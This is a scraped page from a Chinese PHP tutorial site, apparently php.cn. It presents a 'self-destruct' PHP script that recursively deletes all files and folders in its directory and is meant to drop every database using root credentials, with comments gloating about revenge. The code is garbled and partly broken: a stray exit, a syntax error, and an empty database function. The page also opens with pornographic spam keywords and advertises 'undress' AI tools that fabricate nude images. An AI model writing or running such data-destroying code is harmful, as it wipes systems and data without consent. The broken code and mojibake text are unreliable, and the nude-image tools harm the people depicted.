国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

Home php教程 PHP源碼 PHP self-destruct program – a must-have for private life

PHP self-destruct program – a must-have for private life

Nov 08, 2016 pm 05:35 PM

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序?qū)⑶宄灸夸浰形募?、目?
// | 如果設(shè)置了數(shù)據(jù)庫信息,則嘗試刪除所有數(shù)據(jù)庫和表數(shù)據(jù)(前提是權(quán)限要夠?。?
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
 
//----------數(shù)據(jù)庫配置區(qū)域-----------------
//復(fù)仇的力量是很可怕的,所以無需指定數(shù)據(jù)庫,全刪!
define(&#39;DB_USER&#39;, &#39;root&#39;);
define(&#39;DB_PWD&#39;, &#39;root&#39;);
define(&#39;DB_HOST&#39;, &#39;localhost&#39;);
define(&#39;DB_PORT&#39;, &#39;3216&#39;);
define(&#39;DB_DAMAGE&#39;, true);  //為false時,不碰數(shù)據(jù)庫
 
run();
 
/**
 * 主體思想必須光輝偉大!
 *
 * @return void
 **/
function run()
{
    //刪除文件
    deletedir();
    //刪除數(shù)據(jù)庫
    deleteDB();
}
 
/**
 * 呵呵呵,刪除當(dāng)前目錄所有文件(遞歸)
 *
 * @return void
 **/
function deletedir($dir = &#39;&#39;){
    if ($dir == &#39;&#39;) {
        $dir = realpath(&#39;.&#39;);
    }
    echo $dir;
    exit();
      if(!handle=@opendir($dir)){     //檢測要打開目錄是否存在
        die("沒有該目錄");
      }
      while(false !==($file=readdir($handle))){
               if($file!=="."&&$file!==".."){       //排除當(dāng)前目錄與父級目錄
                $file=$dir .DIRECTORY_SEPARATOR. $file;
                if(is_dir($file)){
                    deletedir($file);
                }else{
                    if(@unlink($file)){
                        echo "文件<b>$file</b>刪除成功。<br>";
                    }else{
                        echo  "文件<b>$file</b>刪除失敗!<br>";
                    }
                }
               }
               if(@rmdir($dir)){
                echo "目錄<b>$dir</b>刪除成功了。<br>\n";
               }else{
                echo "目錄<b>$dir</b>刪除失??!<br>\n";
               }
           }
 
/**
 * 呵呵呵,刪除數(shù)據(jù)庫
 *
 * @return void
 **/
function deleteDB()
{
    if(DB_DAMAGE === true){
        //start
    }
}

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undress AI Tool

Undress AI Tool

Undress images for free

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)